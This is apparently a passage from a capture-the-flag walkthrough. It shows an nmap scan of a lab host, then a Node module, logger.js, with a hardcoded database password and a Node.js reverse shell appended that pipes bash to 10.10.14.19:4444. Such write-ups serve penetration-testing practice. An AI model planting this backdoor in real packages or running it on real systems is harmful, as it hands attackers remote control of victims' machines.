$ nmap -sC -sV -Pn 10.10.11.165 Starting Nmap 7.93 ( https://nmap.org ) at 2022-09-18 23:15 CST Nmap scan report for 10.10.11.165 Host is up (0.41s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2eb26ebb927d5e6b3693171a8209e464 (RSA) | 256 1f57c653fc2d8b517d304202a4d65f44 (ECDSA) |_ 256 d5a5363819fe0d677916e6da1791ebad (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Let's begin your education with us! 8000/tcp open http Apache httpd 2.4.38 |_http-server-header: Apache/2.4.38 (Debian) |_http-title: 403 Forbidden Service Info: Host: 172.17.0.4; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 133.21 seconds
mark@seventeen:/tmp$ cd node_modules/db-logger/ mark@seventeen:/tmp/node_modules/db-logger$ ls logger.js package.json mark@seventeen:/tmp/node_modules/db-logger$ cat logger.js var mysql = require('mysql');
var con = mysql.createConnection({ host: "localhost", user: "root", password: "IhateMathematics123#", database: "logger" });
function log(msg) { con.connect(function(err) { if (err) throw err; var date = Date(); var sql = `INSERT INTO logs (time, msg) VALUES (${date}, ${msg});`; con.query(sql, function (err, result) { if (err) throw err; console.log("[+] Logged"); }); }); };
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(4444, "10.10.14.19", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return/a/; // Prevents the Node.js application from crashing })();